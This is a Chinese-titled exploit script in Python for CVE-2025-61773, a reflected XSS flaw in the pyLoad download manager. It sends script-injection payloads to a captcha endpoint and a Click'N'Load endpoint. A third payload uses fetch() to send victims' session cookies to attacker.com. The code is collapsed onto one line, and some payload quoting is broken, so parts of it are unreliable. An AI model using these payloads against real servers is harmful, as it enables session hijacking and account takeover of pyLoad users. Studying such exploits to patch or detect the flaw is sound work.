CVE-2025-61773：pyLoad输入验证不当导致XSS漏洞

# CVE-2025-61773 - pyLoad XSS via Captcha endpoint and CNL Blueprint # Exploit: Reflected XSS through insufficient input validation import requests TARGET_URL = "http://target-pyload-instance:8000" # --- PoC 1: XSS via Captcha Script Endpoint --- # The Captcha endpoint fails to sanitize user-supplied parameters # before reflecting them in the response, enabling reflected XSS. captcha_payload = { # Inject malicious JavaScript via the 'cid' or similar parameter "cid": ""><script>alert('XSS-CVE-2025-61773')</script>", } print("[*] Sending XSS payload via Captcha endpoint...") resp = requests.post( f"{TARGET_URL}/api/captcha", data=captcha_payload, headers={"Content-Type": "application/x-www-form-urlencoded"}, ) print(f"[*] Response status: {resp.status_code}") if "<script>alert('XSS-CVE-2025-61773')</script>" in resp.text: print("[+] Captcha endpoint is vulnerable to reflected XSS!") # --- PoC 2: XSS via Click'N'Load (CNL) Blueprint --- # CNL endpoint processes HTTP request parameters without proper validation # Crafted payloads can alter execution flow and inject client-side code. cnl_payload = ( '<?xml version="1.0" encoding="UTF-8"?>' '<package>' '<url id="1"><script>alert(\'CNL-XSS-CVE-2025-61773\')</script></url>' '</package>' ) print("\n[*] Sending XSS payload via CNL Blueprint endpoint...") resp = requests.post( f"{TARGET_URL}/flash/button.swf", # legacy CNL endpoint data=cnl_payload, headers={"Content-Type": "application/x-www-form-urlencoded"}, ) print(f"[*] Response status: {resp.status_code}") # --- PoC 3: Cookie stealing via XSS --- # More dangerous payload that exfiltrates session cookies to attacker server attacker_server = "http://attacker.com/steal" cookie_stealer = f'"><script>fetch("{attacker_server}?c="+document.cookie)</script>' captcha_steal = { "cid": cookie_stealer, } print("\n[*] Sending cookie-stealing payload via Captcha endpoint...") resp = requests.post( f"{TARGET_URL}/api/captcha", data=captcha_steal, ) print(f"[*] Response status: {resp.status_code}") print(f"[*] Payload delivered to victim: {cookie_stealer}") print("[*] When victim views the response, their cookies will be sent to attacker server.")